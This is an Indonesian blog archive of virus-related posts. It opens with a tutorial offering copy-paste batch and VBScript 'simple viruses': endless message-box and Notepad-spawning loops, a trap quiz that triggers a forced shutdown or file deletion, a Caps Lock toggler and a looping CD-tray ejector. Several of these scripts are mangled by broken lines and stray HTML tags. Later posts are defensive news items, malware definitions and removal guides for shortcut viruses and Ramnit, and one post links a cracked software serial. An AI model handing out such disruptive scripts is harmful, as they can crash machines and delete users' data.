Showing posts with label Virus. Show all posts
Showing posts with label Virus. Show all posts

Cara Membuat Virus Sederhana

ini adalah cara membuat virus yg sederhana saya rasa semua orang bisa melakukannya!!
hanya dengan notepad dan kemampuan copy-paste anda sudah bisa!!
langsung aja ok!!


1. Message yg muncul terus menerus
cara nya buka notepad lalu masukan script di bawah ini :


@ECHO off
:<br />
Begin<br />
msg * Lagi ngapain ?<br />
msg * Hayo buka apa ?<br />
msg * Nanti dimarahin ama mak loe<br />
msg * Makannya jangan sembrono !<br />
msg * minta bantuan gih sono !<br />
msg * Udah instal ulang aja !!!!<br />
msg * tit............................
GOTO BEGIN</div>


bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh cyber4rt.bat



2.  pertanyaan menjebak
script nya

@echo off
title quiz hari ini 
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

simpan dengan .bat contoh contoh = quizcyber4rt.bat

3. Membuka notepad terus-menerus
script nya

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

sama simpan dengan .bat

4. komputer mati sendiri dan ngirim message
script nya

Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

simpan dengan .vbs

5. buka tutup cd room terus menerus
script nya

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

simpan dengan .vbs

Selamat mencoba dan semoga bermanfaat tapi jangan di gunakan untuk kejahatan dan balas dendam, ok!!!

Malware Baru Di Android Menyebar Via SMS


Amerika Serikat - Malware kembali menyerang perangkat berbasis Android. UpdtBot, demikian namanya, ditemukan NQ Mobile Security Research Center dan diketahui menyebar melalui pesan singkat atau SMS.

Seperti dikutip detikINET dari Ubergizmo, Sabtu (15/4/2012), malware ini menyamar dalam bentuk SMS yang meminta pengguna mengklik link untuk mengupdate sistem di ponsel mereka.

Celakanya, ketika link ini diklik, secara otomatis si pengguna menginstal UpdtBot. Selanjutnya, malware tersebut akan berkomunikasi dengan server jahat yang bisa mengendalikan dan memberi perintah dari jarak jauh.

Nah, aplikasi jahat ini lantas memungkinkan perangkat mengirim SMS, membuat panggilan telepon dan mendownload serta menginstal aplikasi tanpa sepengetahuan pengguna. Terang saja, ini bisa mengakibatkan kantong bolong karena pulsa akan tersedot habis.

NQ Mobile Security Research Center memperkirakan ada 160 ribu perangkat yang terinfeksi UpdtBot. Untuk mencegahnya, pastikan hanya mengunduh aplikasi dari sumber terpercaya. Sebelumnya, cek juga review dan komentar pengguna yang sudah memakainya untuk memastikan aplikasi tersebut aman.

Sumber: http://manisoo.blogspot.com

20.000 Situs Internet Diharap Waspada Serangan Malware

20.000 Situs Internet Diharap Waspada Serangan Malware
Cyber4rt | Sekitar 20.000 situs di internet telah diperingatkan untuk waspada terhadap serangan program jahat oleh Google. Google menduga serangan terjadi melalui JavaScript. Kemungkinan ada pihak yang tidak bertanggung jawab menyusupkan kode JavaScript di situs-situs tersebut. Karena itulah pengelola diminta segera melakukan pembersihan.
Tim dari Google mengingatkan pemilik situs untuk mencari file yang berisi konten "eval(function(p,a,c,k,e,r)". Kode tersebut dapat ditempatkan dalam file HTML, JavaScript, atau PHP.

"JavaScript disusupkan oleh pihak ketiga dan dapat digunakan untuk mengarahkan pengguna ke situs berbahaya," kata tim Google Search Quality.

Selain itu, Google juga memperingatkan kepada pemilik situs agar selalu menghapus malware dan memperbaiki kerentanan situs. Hal itu dilakukan untuk melindungi pengunjung situs. Mereka juga didesak untuk menjaga kebaruan software dan segera menghubungi web hosting masing-masing untuk mendapat bantuan. Ini bukan pertama kali Google memperingatkan pemilik situs web untuk mewaspadai serangan hacker, khususnya yang menyusupkan malware.
"Google membantu pemilik web untuk mencegah spam. Ini bukan fenomena baru. Kami selalu terbuka dengan webmaster, dan kami akan selalu melakukannya," ujar Mark JAnsen,  Juru Bicara google indonesia
di tahun  2011 lalu, Google  mencantumkan 11 juta url dengan domain .co.cc dari hasil pencariannya. Gara-garan domain ini virus malware semakin menyebarluas..

Via Autorun, Serangan Malware Lewat USB Meningkat

Serangan program jahat (malware) yang datang melalui e-mail, drive-by download, link berbahaya hingga pop-up yang menyesatkan meningkat tajam. Serangan ini banyak datang melalui perangkat-perangkat USB.

Menurut Avast Software, sekitar 13,5 persen dari 700.000 serangan yang direkam oleh sistem Community IQ Avast pada bulan Oktober berasal dari USB. Menurutnya, 60 persen dari malware yang beredar saat ini dapat menyebar melalui USB.

Malware tersebut menyebar via USB dengan memanfaatkan fitur Autorun Windows. Awalnya fitur ini disediakan untuk memberikan user kemudahan. Namun pembuat virus kini semakin banyak memanfaatkan celah/kelemahan pada fungsi Autorun ini untuk menyebarkan virus. Melalui Autorun, virus akan menyebar dengan cepat ketika sebuah perangkat ditancapkan ke komputer (PC).

Ketika sebuah perangkat USB sudah terinfeksi dengan worm/virus tertentu lalu dihubungkan ke PC, sebuah file executable (exe) akan aktif dan men-download malware ke dalam PC. Malware ini kemudian akan menginfeksi sistem operasi dan dapat mereplikasi dirinya sendiri setiap kali komputer di-restart.

Dan tidak mengejutkan lagi, bahwa perangkat yang paling umum dimanfaatkan pembuat virus untuk menyebarkan malware adalah USB flash drive. Selain harganya yang murah dan bisa didapat di mana-mana, USB drive adalah mimpi buruk bagi admin dari sisi keamanan.

Parahnya lagi, seiring semakin besarnya kapasitas USB yang muncul di pasaran, user semakin ?malas? memindai (scan) USB tersebut dengan software keamanan. Hanya sedikit pengguna komputer yang memindai hard drive 1TB sampai selesai setelah men-download file atau film misalnya.

Selain USB flash disk dan removable drive, semua perangkat penyimpanan berbasis USB, termasuk kamera digital, ponsel, mp3 player, dan bahkan PSP juga perlu di-scanning.

Untuk melindungi PC dari infeksi malware via USB, coba terapkan beberapa tips berikut ini :
  1. Jangan menyalakan PC jika perangkat USB masih tertancap di komputer. Menghidupkan PC dengan perangkat USB masih terpasang di komputer dapat mengakibatkan malware di-load ke dalam PC Anda sebelum program antivirus aktif.
  2. Scan terlebih dahulu. Pastikan bahwa Anda telah mengaktifkan fitur auto-scan pada aplikasi antivirus Anda.
  3. Matikan fitur AutoPlay.
Courtesy Of PC Magazine

Perbedaan antara Virus, Worm, Trojan, Backdoor, Malware dan Spyware

Masih banyak sekali orang yang bingung dan tabu tentang perbedaan virus, worm, trojan, backdoor, malware, dan spyware. Tidak sengaja saya mendapatkan penjelasan yang menarik dan mudah dicerna, penjelasan berikut bertujuan agar pembaca lebih mengerti dan paham supaya lebih bijak menggunakan antivirus dalam komputer pribadi masing2...dan tidak asal delete, tidak semua file yang ditangkap oleh antivirus itu membahayakan buat PC, contohnya source program php sederhana bisa dikenali sebagai trojan oleh AV padahal itu tidak berbahaya sama sekali..
Ok langsung aja cekiprot, beberapa kaliamt saya recycle supaya mudah dipahami :)

Virus
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2 yang terbaru pun Windows Vista dan Win7 bahkan baru2 ini sudah merambah ke GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistem operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistem operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut atau dengan kata lain telah up to date.

Beberapa Contoh antivirus yang bisa diandalkan dan menangkal virus adalah KasperSky, AVG, NOD32, AntiVir, PCMAV, Norton, Norman, dan McAfee dan masig banyak lagi bahkan Antivirus lokal pun sekarang mulai marak dibicarakan Seperti Smadav, Ansav dll, dan yang terbaru Artav.

Worm
Worm adalah jenis virus yang tidak menginfeksi program lainnya.
Ia membuat copy dirinya sendiri (Cloning) dan menginfeksi komputer lainnya (biasanya menggunakan hubungan jaringan) tetapi tidak mengkaitkan dirinya dengan program lainnya; akan tetapi sebuah worm dapat mengubah atau merusak file dan program.

Trojan
Trojan adalah replika atau duplikat virus. Trojan dimasukan sebagai virus karena sifat program yang tidak diinginkan dan bekerja dengan sendirinya pada sebuah computer. Sifat trojan adalah mengkontrol computer secara otomatis. Misalnya computer yang dimasuki trojan email. Trojan dimasukan dalam RATS (remote administration tools) dimana sebuah computer dikontrol oleh program tertentu, bahkan beberapa trojan difungsikan membuka computer agar dapat dimasuki oleh computer dan diaccess dari jauh, bahkan beberapa RAT's terbaru sudah mempnyai fungsi yang lebih lengkap diantaranya dilengkapi fungsi keylogger dll, bahkan bisa memerintahkan komputer yg terinfeksi sebagai pasukan untuk menyerang (Baca:Bot)

Backdoor
Backdoor atau "pintu belakang", dalam keamanan sistem komputer, merujuk kepada mekanisme yang dapat digunakan untuk mengakses sistem, aplikasi, atau jaringan, selain dari mekanisme yang umum digunakan (melalui proses logon atau proses autentikasi lainnya). Disebut juga sebagai back door.

Backdoor pada awalnya dibuat oleh para programer komputer sebagai mekanisme yang mengizinkan mereka untuk memperoleh akses khusus ke dalam program mereka, seringnya digunakan untuk membenarkan dan memperbaiki kode di dalam program yang mereka buat ketika sebuah crash akibat bug terjadi. Salah satu contoh dari pernyataan ini adalah ketika Kenneth Thompson (salah seorang pemrogram sistem operasi UNIX membuat sebuah program proses login pada tahun 1983 ketika memperoleh Turing Award), selain program login umum digunakan dalam sistem operasi UNIX dengan menggunakan bahasa pemrograman C, sehingga ia dapat mengakses sistem UNIX yang berjalan di dalam jaringan internal Bell Labs. Backdoor yang ia ciptakan itu melindungi dirinya dari pendeteksian dan pembuangan dari sistem, meskipun pengguna berhasil menemukannya, karena memang backdoor ini membuat dirinya sendiri kembali (melakukan rekompilasi sendiri).

Beberapa pengembang perangkat lunak menambahkan backdoor ke dalam program buatannya untuk tujuan merusak (atau tujuan yang mencurigakan). Sebagai contoh, sebuah backdoor dapat dimasukkan ke dalam kode di dalam sebuah situs belanja online (e-commerce) untuk mengizinkan pengembang tersebut memperoleh informasi mengenai transaksi yang terjadi antara pembeli dan penjual, termasuk di antaranya adalah kartu kredit, dalam hal ini biasanya disisipkan kedalah shell code sehingga pemilik shell bisa leluasa mendapatka info apapun tentang host :)

Istilah backdoor sekarang digunakan oleh hacker-hacker untuk merujuk kepada mekanisme yang mengizinkan seorang peretas sistem dapat mengakses kembali sebuah sistem yang telah diserang sebelumnya tanpa harus mengulangi proses eksploitasi terhadap sistem atau jaringan tersebut, seperti yang ia lakukan pertama kali. Umumnya, setelah sebuah jaringan telah diserang dengan menggunakan exploit (terhadap sebuah kerawanan/vulnerability), seorang penyerang akan menutupi semua jejaknya di dalam sistem yang bersangkutan dengan memodifikasi berkas catatan sistem (log) atau menghapusnya, dan kemudian menginstalasikan sebuah backdoor (Shell code) yang berupa sebuah perangkat lunak khusus atau menambahkan sebuah akun pengguna yang memiliki hak akses sebagai administrator jaringan atau administrator sistem tersebut. Jika kemudian pemilik jaringan atau sistem tersebut menyadari bahwa sistemnya telah diserang, dan kemudian menutup semua kerawanan yang diketahui dalam sistemnya (tapi tidak mendeteksi adanya backdoor yang terinstalasi), penyerang yang sebelumnya masih akan dapat mengakses sistem yang bersangkutan, tanpa ketahuan oleh pemilik jaringan, apalagi setelah dirinya mendaftarkan diri sebagai pengguna yang sah di dalam sistem atau jaringan tersebut. Dengan memiliki hak sebagai administrator jaringan, ia pun dapat melakukan hal yang dapat merusak sistem atau menghilangkan data. Dalam kasus seperti di atas, cara yang umum digunakan adalah dengan melakukan instalasi ulang terhadap sistem atau jaringan, atau dengan melakukan restorasi dari cadangan/backup yang masih bersih dari backdoor.

Ada beberapa perangkat yang dapat digunakan untuk menginstalasikan backdoor, seperti halnya beberapa Trojan horse, tetapi yang populer adalah Netcat (jaman jadul), yang dapat digunakan di dalam sistem operasi Windows ataupun UNIX. Sekarang fungsi sudah tergantikan oleh beberapa Rat's terbaru seperti cybergate, poison ivy prorat dll..(backdoor dan trojan saling melengkapi)

Malware
Malware adalah program komputer yang diciptakan dengan maksud dan tujuan utama mencari kelemahan software. Umumnya Malware diciptakan untuk membobol atau merusak suatu software atau operating sistem.
Contoh dari malware adalah Virus, Worm, Wabbit, Keylogger, Browser Hijacker, Trojan Horse, Spyware, Backdoor, Dialer, Exploit dan rootkit .

Spyware
Spyware adalah perangkat lunak yang mengumpulkan dan mengirim informasi tentang pengguna komputer tanpa diketahui oleh si pengguna itu.
Informasinya bisa yang tidak terlampau berbahaya seperti pola berkomputer, terutama berinternet, seseorang sampai yang berbahaya seperti nomor kartu kredit, PIN untuk perbankan elektronik (e-banking) dan password suatu account.
Informasi tentang pola berinternet, telah disebutkan, tidak terlampau berbahaya. Situs yang dikunjungi, informasi yang kerap dicari, obrolan di ruang chat akan dimata-matai oleh si spyware.
Selanjutnya, informasi itu digunakan untuk menampilkan iklan yang biasanya berupa jendela pop-up. Iklan itu berhubungan dengan kebiasaan seseorang berinternet. Misalnya kerap kali seseorang mencari informasi mengenai kamera digital. Jendela pop-up yang muncul akan menampilkan, misalnya situs yang berdagang kamera digital. Adware adalah istilah untuk spyware yang begini.
Penyebaran spyware mirip dengan Trojan. Contohnya, flashget. Ketika flashget yang dipakai belum diregister, flashget bertindak sebagai spyware. Coba saja hubungkan diri ke internet, jalankan flashget yang belum diregister, cuekin computer beberapa saat, pasti muncul jendela internet explorer yang menampilkan iklan suatu situs.

Untuk mengantisipasi Virus-virus komputer yang semakin mengganas, pastikan komputer anda selalu terproteksi dengan antivirus yang up to date..dan jangan lupa pakai AV yang sudah dilengkapi dengan Internet Security klo perlu tambahkan Firewall untuk keamanan yang berlapis guna melindungi PC anda dari serangan langsung maupun tidak langsung.

Semoga Bermanfaat ^_^

Courtesy : maurizalwepe88
Recycled : my22n

Cara Menghapus Virus SHORTCUT


CARA 1
Berikut 8 langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:

1. Nonaktifkan System Restore untuk sementara selama proses pembersihan.
2. Putuskan komputer yang akan dibersihkan dari jaringan.
3. Matikan proses virus yang aktif di memori dengan menggunakan tools Ice Sword. Setelah tools tersebut terinstal, pilih file yang mempunyai icon Microsoft Visual Basic Project kemudian klik Terminate Process. Silahkan download tools tersebut di http://icesword.en.softonic.com/
4. Hapus registri yang sudah dibuat oleh virus dengan cara:
  • Klik menu [Start]
  • Klik [Run]
  • Ketik REGEDIT.exe, kemudian klik tombol [OK]
  • Pada aplikasi Registry Editor, telusuri key [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
  • Kemudian hapus key yang mempunyai data [C:\Document and Settings\%user%].
5. Disable autoplay/autorun Windows. Copy script di bawah ini pada program notepad kemudian simpan dengan nama REPAIR.INF, install file tersebut dengan cara: Klik kanan REPAIR.INF ?> INSTALL

[Version]

Signature=?$Chicago$?

Provider=Vaksincom

[DefaultInstall]

AddReg=UnhookRegKey

DelReg=del

[UnhookRegKey]

HKLM, Software\CLASSES\batfile\shell\open\command,,,?"?%1″? %*?

HKLM, Software\CLASSES\comfile\shell\open\command,,,?"?%1″? %*?

HKLM, Software\CLASSES\exefile\shell\open\command,,,?"?%1″? %*?

HKLM, Software\CLASSES\piffile\shell\open\command,,,?"?%1″? %*?

HKLM, Software\CLASSES\regfile\shell\open\command,,,?regedit.exe ?%1″?

HKLM, Software\CLASSES\scrfile\shell\open\command,,,?"?%1″? %*?

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255

HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255

6. Hapus File induk dan file duplikat yang dibuat oleh virus termasuk di flash disk. Untuk mempercepat proses pencarian, Anda dapat menggunakan fungsi ?Search?. Sebelum melakukan pencarian sebaiknya tampilkan semua file yang tersembunyi dengan mengubah pada setting Folder Options.

Jangan sampai terjadi kesalahan pada saat menghapus file induk maupun file duplikat yang telah dibuat oleh virus. Lalu hapus file induk virus yang mempunyai ciri-ciri:

-. Icon Microsoft Visual Basic Project.
-. Ukuran File 128 KB (untuk varian lain akan mempunyai ukuran yang bervariasi).
-. Ekstesi file .EXE atau .SCR.
-. Type file Application atau Screen Saver.

Kemudian hapus File duplikat shortcut yang mempunyai ciri-ciri:
  • Icon Folder atau icon
  • Ekstensi .LNK
  • Type File Shortcut
  • Ukuran file 1 KB
Hapus juga file yang .DLL (contoh: ert.dll) dan file Autorun.inf di flash disk atau folder yang di-share. Sementara untuk menghindari virus tersebut aktif kembali, hapus file induk yang mempunyai ekstensi EXE atau SCR terlebih dahulu baru kemudian hapus file Shortcut (.LNK).

7. Tampilkan kembali folder yang telah disembunyikan oleh virus. Untuk mempercepat proses tersebut, silahkan download tools UnHide File and Folder di http://www.flashshare.com/bfu/download.html
Atau gunakan perintah berikut pada CMD
Code:
attrib -r -s -h -a "D:\NAMA_FILE_ATAU_FOLDER"


Setelah diinstall, pilih direktori [C:\Documents and settings] dan folder yang ada di flash disk dengan cara menggeser ke kolom yang sudah tersedia. Pada menu [Attributes] kosongkan semua pilihan yang ada, kemudian klik tombol [Change Attributes].

8. Install security patch Microsoft Windows Shell shortcut handling remote code execution vulnerability-MS10-046. Silakan download security patch tersebut di http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx

Seperti biasa, untuk pembersihan secara optimal dan menecegah infeksi ulang, sebaiknya install dan scan dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini dengan baik.

CARA 2
Ciri-ciri virus shortcut :

Pertama-tama, setelah menginfeksi komputer, dia akan membuat file induk database.mdb di My Documents

Yang kedua adalah virus tersebut akan membuat file autorun.inf di setiap drive harddisk, flash disk, dan folder tanpa kecuali.

Yang ketiga adalah dia akan membuat file Thumb.db (hati-hati, perhatikan bahwa file ini tanpa huruf s sedangkan thumbnail cache yang asli di komputer memiliki tambahan huruf s alias thumbs.db) di setiap folder

Untuk memancing korban, dia akan membuat file Microsoft.lnk dan New Harry Potter and?.lnk di setiap folder yang jika dieksekusi akan langsung mengaktifkan virus tersebut.

Seperti halnya virus-virus lokal lainnya, dia akan membuat duplikat setiap folder namun kali ini bukan dengan ekstensi .exe melainkan extensi .ink alias shortcut.

Pada task manager terdapat proses services wscript.exe yang sedang berjalan. Dalam kondisi normal, tidak ada proses seperti ini.

Langkah-langkah menghapus virus shortcut :

1. Matikan System Restore. Sejak dulu saya selalu mematikan system restore segera setelah proses instalasi windows. Untuk keperluan backup dan imaging system, saya lebih memilih menggunakan third party seperti acronis ataupun Norton Ghost (baca dan dowload : Norton Ghost 15.0.0.35659 (2010) Full Serial Crack)

2. Matikan proses virus wsrcipt.exe (C:\WINDOWS\System32\wscript.exe)

Bisa menggunakan Process Explorer atau misc. tool pada HijackThis (baca dan download : HijackThis 2.0.2 ).

3. Hapus file virus database.mdb di My Documents..

4. Hapus file duplikat virus..

Untuk proses penghapusan, anda bisa menggunakan fasilitas search pada Windows.. Pada ?More advanced options?, pastikan option ?Search system folders? dan ?Search hidden files and folders? keduanya telah dicentang.

Search file dengan nama autorun.inf ukurannya 8 KB

Search file dengan nama Thumb.db ukurannya 8 KB

Search file dengan ekstensi .lnk.lnk ukurannya 1 KB

Hapus semua file yang ditemukan..

Untuk lebih memudahkan proses pencarian yang sekaligus menghapus file yang ditemukan, anda bisa menggunakan software UTool, sebuah freeware yang dapat anda download secara gratis. Program ini akan secara otomatis mencari dan kemudian menghapus file-file yang diinginkan (lihat gambar).

5. Hapus registry Autorun yang dibuat virus dengan menggunakan HijackThis..

Cari di bagian HKCU\..\Run: yang berhubungan dengan file database.mdb (pada gambar namun file database.mdb udah saya hapus)

Untuk lebih memantabkan proses pencegahan dan melindungi komputer kita dari serangan virus lokal yang sangat memusingkan ini, anda dapat melakukan hal-hal berikut:

1. Setelah proses instalasi windows, segera matikan system restore.

2. Install software third party misal Tweak UI atau Magic Tweak untuk mendisable autorun dan mencegah teraktivasinya file-file .inf. Mungkin pada Windows XP Professional, proses menon-aktifkan autorun bisa dilakukan dengan mudah, namun pada versi Win XP Home, anda memerlukan software ini. Tambahan informasi, program MagicTweak selain berfungsi menon-aktifkan autorn dapat juga digunakan untuk mencegah dijalankannya file-file .inf File autorun.inf yang biasanya merupakan awal dari berjangkitnya virus akan secara otomatis diubah menjadi murni file txt alias notepad oleh program ini dan dia tidak lagi bisa dieksekusi. Ini sangat membantu jika memang secara tidak sengaja kita mengaktifkan atau mengeksekusi autorun.inf meski proses autorun sudah didisable untuk semua drive (termasuk flash disk).

3. Setelah semua proses instalasi windows, driver, program, dan lain-lain telah selesai, segera backup image system anda menggunakan software macam Acronis True Image atau Norton Ghost, sehingga jika nanti ada masalah yang tidak dapat anda selesaikan dengan mudah, anda dapat merestoreasi backup system tersebut.

4. Jika perlu, instal juga Deep Freeze apabila komputer anda digunakan oleh banyak orang, sehingga settingan komputer tidak akan berubah-ubah.

5. Update info: Ciri-ciri virus terdapatnya virus shortcut pada flashdisk dapat diketahui dengan perbedaan icon flashdisk tersebut yang biasanya berbentuk seperti icon drive menjadi berubah seperti icon folder. Jika menemui icon seperti ini, berarti dalam flashdisk tersebut terdapat virus. Gunakan explorer dan buka flashdisk lewat explorer (jangan klik 2x dari my computer) dan hapus file autorun dan file2 tersangka virus lainnya secara manual dengan menekan shift + DEL (supaya tidak tersangkut di recycle bin). Rata-rata virus lokal dapat dicegah dengan cara manual seperti ini asalkan OPSI DISABLE AUTORUN pada windows dan/atau MagicTweak telah diaktifkan, dan juga OPSI DISABLE .INF FILE pada MagicTweak telah diaktifkan.

Nah, itu mungkin sedikit tips cara menghapus virus shortcut dan smoga komputer kamu setelah hapus virus shortcut jadi bebas deh dari virus shortcut.

Cara Membasmi Virus Ramnit

Cara membasmi Ramnit Dengan Tuntas :
  1. Putuskan hubungan komputer dari jaringan guna mencegah infeksi ulang.
  2. Gunakan tools Chanet Splitter II jika anda ingin membuat komputer anda kebal dari Ramnit dengan satu tombol sekaligus memperbaiki file HTM/HTML yang di injeksi oleh Ramnit dan tidak dapat dibersihkan / di delete oleh antivirus / virus cleaner lain. Download Chanet Splitter II dari
    http://www.vaksin.com/2011/0811/immune from ramnit/CHANET SPLITTERII.exe
PENTING !!!
        Berikut beberapa kelebihan yang dimiliki oleh CHANET SPLITTER II adalah : (lihat gambar)
    1. Tetap GRATIS .
    2. Mampu mencari dan mematikan proses Ramnit yang aktif di memori secara otomatis pada saat CHANET SPLITTER di jalankan
    3. Mampu memperbaiki registri yang diubah oleh virus
    4. Mampu menghapus file induk Ramnit
    5. Proteksi PC agar kebal dari Ramnit
    6. Proteksi agar Ramnit tidak membuat file virus ke USB Flash
    7. Mencari dan memperbaiki file HTM/HTML yang terinfeksi Ramnit
Gambar : Chanet Splitter II, mampu memperbaiki file HTM/HTML yang terinfeksi Ramnit
Chanet Splitter II dibuat dengan itikad baik membantu para pengguna komputer yang mengalami masalah dengan Ramnit. PT. Vaksincom sudah melakukan pengetesan tools ini pada banyak komputer dengan OS berbeda seperti Windows XP, Windows Vista dan Windows 7 dan tidak menemukan masalah dan tools ini dapat berjalan dengan baik pada OS-OS tersebut di test lab kami. TETAPI tidak tertutup kemungkinan tools yang kami buat tidak kompatible dengan OS yang anda gunakan dan dapat menyebabkan ketidakstabilan sistem atau kehilangan data. Karena itu demi keamanan data anda kami harapkan anda melakukan backup atas data anda di komputer dengan baik dan benar. PT. Vaksincom dan pembuat tools ini tidak bertanggungjawab atas kerugian apapun yang disebabkan baik secara langsung atau tidak langsung atas penggunaan tools ini.
  1. Tools yang Kami sertakan ini HANYA digunakan untuk memperbaiki file HTM/HTML yang telah terinfeksi Ramnit saja. Untuk membersihkan file EXE / DLL di dalam sistem komputer yang sudah terinfeksi Ramnit anda dapat menggunakan Norman Ramnit Cleaner (pembersih khusus Ramnit) atau Norman Malware Cleaner yang dapat di http://www.vaksin.com/2011/0811/immune from ramnit/Norman_Ramnit_Cleaner.exe kemudian scan Full HDD termasuk Removable Media (USB Flash/HDD Eksternal) dengan menggunakan antivirus yang terupdate untuk membersihkan file EXE / DLL yang sudah terinfeksi. Jika Norman Ramnit Cleaner sudah kadaluarsa, silahkan download Norman Malware Cleaner yang dapat membasmi semua virus (bukan hanya Ramnit) dari http://normanasa.vo.llnwd.net/o29/public/Norman_Malware_Cleaner.exe
  2. Sangat disarankan untuk instal security patch Windows (MS10-046 KB2286198) ( http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx )
salam,
Aj Tau

Malware Android memiliki kemampuan rooting

Virus Android

Sekarang memiliki kemampuan rooting


Ada satu sistem operasi yang karena seringnya menjadi sasaran serangan virus lalu dijadikan sebagai promosi negatif untuk sistem operasi tersebut dengan berbagai macam label, tidak aman, banyak celah keamanan, hanya untuk pengguna awam dan seterusnya. Lalu biasanya pihak yang menuding tersebut memposisikan dirinya sebagai sistem operasi yang secure dengan berbagai macam argumentasi, seperti di dukung oleh komunitas, memiliki pertahanan berlapis, diprogram dengan memikirkan faktor sekuriti dan seterusnya. Jika kita berbicara dalam hal sekuriti, pada prinsipnya sistem operasi adalah buatan manusia dan buatan manusia tidak ada yang sempurna, selalu ada kelemahan dan bisa di serang. Jadi sebenarnya pertanyaannya bukanlah suatu sistem operasi aman atau tidak, tetapi apakah sistem operasi tersebut cukup menarik untuk diserang atau tidak. Jika ada satu sistem operasi yang menguasai pangsa pasar lebih dari 70 %, sangat sulit membuat orang tidak tertarik untuk mengoprek dan membuat malware untuk menyerang sistem operasi tersebut. Teori ini dapat di buktikan dengan sistem operasi Microsoft Windows yang menjadi sasaran virus utama di ranah PC (Personal Computer), tetapi sistem Operasi Windows Mobile yang notabene juga keluaran Microsoft tidak diminati oleh pembuat malware. Kalau di ranah smartphone, penguasa pangsa pasar terbesar adalah si robot hijau Android yang notabene menggunakan kernel Linux. Performanya sangat mengejutkan karena dalam beberapa tahun saja mampu menguasai pangsa pasar terbesar smartphone dunia dan terpasang pada 200 juta alat per November 2011. Penguasaan pasar yang sangat besar oleh Android ini mengundang para kriminal yang ingin mendapatkan keuntungan secara tidak baik dengan membuat malware. Saat ini, dapat dikatakan Android adalah sistem operasi smartphone yang paling sexy dan menjadi incaran nomor satu pembuat malware.


Menurut kata orang tua, ada 3 “ta” yang bisa merusak moral manusia. Selain tahta dan wanita, “ta” yang ketiga adalah harta yang demi mencapainya, banyak orang yang bersedia melakukan apapun, sekalipun kegiatan tersebut melanggar hukum. Demikian pula dengan virus Android. Salah satu hal yang memotivasi maraknya virus Android ini adalah motivasi keuangan, lebih tepatnya transaksi keuangan melalui smartphone atau mobile.

Sebenarnya transaksi keuangan menggunakan smartphone ada dua jenis, yang pertama adalah yang menggunakan NFC (Near Field Communication) yang basisnya sebenarnya adalah teknologi RF ID (Radio Frequency Identification), salah satu contohnya adalah Google Wallet yang menggunakan teknologi Paywave yang di lisensi dari VISA. Kalau di Indonesia, implementasi teknologi RF ID lebih banyak digunakan oleh bank-bank menggunakan kartu Chip seperti BCA Flazz atau Mandiri e-toll-card dan implementasi pada smartphone masih sangat rendah. Mungkin karena cakupan pasar potensial smartphone yang lebih terbatas jika dibandingkan menggunakan kartu chip yang biayanya jelas lebih murah. Sampai saat ini virus Android yang muncul dan berusaha mendapatkan keuntungan keuangan dari smartphone Android lebih terfokus pada transaksi keuangan mobile banking dan bukan RF ID. Salah satu alasan yang mungkin adalah karena kecilnya nominal transaksi dalam NFC dimana saldo maksimal kartu BCA Flazz adalah Rp. 1 juta, dibandingkan dengan menyerang rekening bank mobile banking, tentunya rekening yang menggunakan RF ID ini menjadi kurang sexy (tidak berjambul khatulistiwa :p).

Memiliki Root Privilege

